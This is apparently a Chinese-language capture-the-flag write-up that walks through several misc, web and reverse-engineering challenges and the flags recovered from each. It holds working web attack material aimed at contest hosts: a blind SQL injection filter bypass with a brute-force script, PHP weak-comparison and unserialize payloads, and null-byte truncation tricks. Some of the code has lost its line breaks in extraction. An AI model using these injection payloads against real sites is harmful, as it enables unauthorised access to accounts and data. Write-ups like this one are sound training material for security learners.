Misc
簽到題
隱藏在黑夜裏的祕密
下載壓縮包,打開時提示加密,猜測可能是僞加密,於是用 010editor 把加密位去掉,置爲
0。然後解壓壓縮包,發現裏面有個 flag,懷着激動的心情打開一看,結果是這樣的:
夜已降臨之時,
我將自己裹在深邃的黑暗中, 在夜的最深處
期待着光明與無畏
猜測後端沒有對數組進行過濾,將 content參數改爲數組,成功上傳:
得到 flag:
php 動態變量特性。
傳入參數args=GLOBALS,顯示所有變量,得到flag:
打開給的鏈接顯示找flag,然後查看 html源碼,看到了 index.php的源碼
發現使用了extract 函數解析 get 參數,而下面函數要求有 gift 變量,所以 get 要傳 gift變量過去
訪問 http://202.120.7.221:2333/index.php?gift=ddd之後,出現提示“flag 被加密了 再加密一次就得到 flag 了”這個提示
接着看源碼,發現 flag 變量是在 extract 函數之前的,所以可以通過extract 函數覆蓋掉 flag 的值,程序接着會使用 file_get_contents 函數,以flag 作爲參數,並使用僞協議 php://input 傳入 post 的數據。只要使得flag 變量的值和 post 傳入的數據一樣,即可得到 flag。
比賽方要求的 flag 形式是 EIS{},RVF 顯然不是,猜測是凱撒密碼,解密得到 flag
打開題目鏈接,還是熟悉的界面,還是熟悉的味道。用戶名是 admin,嘗試了一下發現是 sql 盲注,過濾了select、and、mid、substr 等關鍵字以及*、/、!、空格等特殊字符。但是單引號可以用,而&&可以繞過 and 的過濾,()可以繞過空格的過濾。
F12 審查元素可以得到提示。
構造語句 uname=admin’%26%26left(pwd,1)=’a’%26%26’1’=’1通過構造中間的判斷語句,根據返回結果的不同,可以判斷語句是否正確。如果語句正確,則返回“password error!”,如果錯誤,則返回“no such user!”
腳本跑一下,得到密碼爲 fsaoaigafsdfsdubbwouibiaewrawe
import requestsimport string
string = 'qwertyuiopasdfghjklzxcvbnm'
p = ''
r=requests.session()print "start...."
for i in range(1,36): for j in string:
load="admin'&&left(pwd,%d)='%s%s'&&'1'='1" %(i,p,j)#print load
payload ={'uname':load, 'pwd':123} #print payload
result =
r.post("http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php",data=payload).text
#print result
if "password error!" in result: p=p+j
print p
print "end..."
登錄得到 flag 爲:EIS{SQLI_INJECTIion_blind}
訪問題目鏈接,隨便填寫,提示用戶名有誤。
根據提示到說明與幫助處查看發現一段php 代碼,限制條件爲用戶名的 md5 值等於 0(雙等號),根據php 弱類型比較,可以通過傳入 md5 值爲 0e 開頭的字符串繞過,如240610708
然後在這個頁面 F12 審查元素,可以發現另一段 php 代碼,發現是使用了反序列化函數。
同時也利用了 php 的特性,當整數與字符串弱比較(雙等號)時,字符串會強制轉換成整數
0,只要傳進去的參數反序列化後值爲整數 0,那麼就可以繞過 if 語句中的判斷。
Payload:userid=240610708&password=a:2:{s:4:"name";i:0;s:3:"pwd";i:0;}
得到 flag 爲:EIS{Smi1E_on_YouR_face_And_in_y0ur_heart}
隨機數
刷新幾次,發現值會重複,猜測是:在幾個數中隨機選擇一個作爲種子,然後再生成隨機數
所以,寫個腳本,隨便爆破出來一個種子就行了運行環境:ubuntu16.04<?php
$z = 0;
for ($x=0; $x<1000; $x++)
{
srand($x);
$y = rand(1, 1000);
if ($y == 980)
{
$z = $x;
}
}
srand($z);
echo rand(1,1000); echo "\n";
echo rand(1,1000)-1; echo "\n";
echo rand(1,1000)-1; echo "\n";
echo rand(1,1000)-1; echo "\n";
?>
得到第四個隨機數爲 233,提交,得到 flag:
快速計算
Python 腳本跑一發,腳本如下:
構 造 foofoo=array('param1'=>'2018abc','param2'=>array(array(array(1),0),0,2,3,4))
'param1'=>'2018abc',繞過
'param2'=>array(array(array(1),0),0,2,3,4) 繞過
所以傳入
foo=a:2:{s:6:"param1";s:7:"2018abc";s:6:"param2";a:5:{i:0;a:2:{i:0;a:1:{i:0;i:1;}i:1;i:0;}i:1;i:0;i:2;i:2
;i:3;i:3;i:4;i:4;}}
接下來繞過
這裏用到的技巧是,array 和 string 進行 strcmp 比較的時候會返回一個 null,%00 可以截斷
eregi
傳入fish=123%00&egg[0]=11MyAns11&egg[1][]=1111成功繞過
payload: http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php?fish=123%00&egg[0]=11MyAns11&egg[1][]=1111&foo=a:2:{s:6:%22param1%22;s:7:%222018abc%22;s:6:%22param2%22;a:5:{i:0;a:2:{i:0;a:1:{i:0;i:1;}i:1;i:0;}i:1;i:0;i:2;i:2;i:3;i:3;i:4;i:4;}}
得到 flag
由此跟進 sub_4011C0 函數。
得到:GONDPHyGjPEKruv{{pj]X@rF,由 strcmp 函數,當 GONDPHyGjPEKruv{{pj]X@rF和v4 相同時返回 0,分析上面的算法寫出如下腳本。
# -*- coding:utf-8 -*-
byte_4420B0 =[0x0D, 0x13, 0x17, 0x11, 0x2, 0x1, 0x20, 0x1D, 0x0C, 0x2, 0x19, 0x2F, 0x17, 0x2B, 0x24, 0x1F, 0x1E, 0x16, 0x9, 0x0F, 0x15, 0x27, 0x13, 0x26, 0x0A, 0x2F, 0x1E, 0x1A, 0x2D, 0x0C, 0x22,
0x4]
v4 ="GONDPHyGjPEKruv{{pj]X@rF"
for i in range(0, 24):
for j in range(65, 123):
if ord(v4[i]) == (byte_4420B0[i] ^ ((j ^ 0x55) + 0x48)): if 0x40 < j< 0x5B:
j += 0x20
print(chr(j),end="")
打開 IDA 搜索字符串:congratulations
跟進 sub_014A0 函數:
sub_4014A0 很辣眼,三個參數,第一個參數原文,第二個密鑰,第三個長度
密文對比的方法,可以看到先循環位移,然後再異或。加密 = 每位 ROL 2 xor 密鑰對應的位數。反向推導一下就是 密文 xor 密鑰 ROR 2。看的時候要注意這個變量的地址是連續的。
用 python 破解這個算法:
密文對比的方法,可以看到先循環位移,然後再異或
we have key:hello world
看到只有一個 key 猜是對稱加密
get buf unsigns[256] get buf t[256]
2 個 256 長度參數,然後是簡單地用key 打亂 s 中的值、之後看到有異或操作基本確定是rc4
了
直接用 rc4 使用已知的 key 解密
# -*- coding: utf-8 -*-
def rc4_dec(enc_data, key): j = 0
s = range(256)
for i in range(256): j=(j+s[i]+ord(key[i%len(key)])) % 256 s[i], s[j] =s[j], s[i]
i = j = 0
result = []
for c in enc_data:
i= (i+1) % 256
j= (j+s[i]) % 256
s[i], s[j] =s[j], s[i] result.append(chr(ord(c)^s[(s[i]+s[j])%256]))
return ''.join(result)
flag =rc4_dec(open("enc.txt", "rb").read(), 'hello world') printflag
EIS{55a0a84f86a6ad40006f014619577ad3}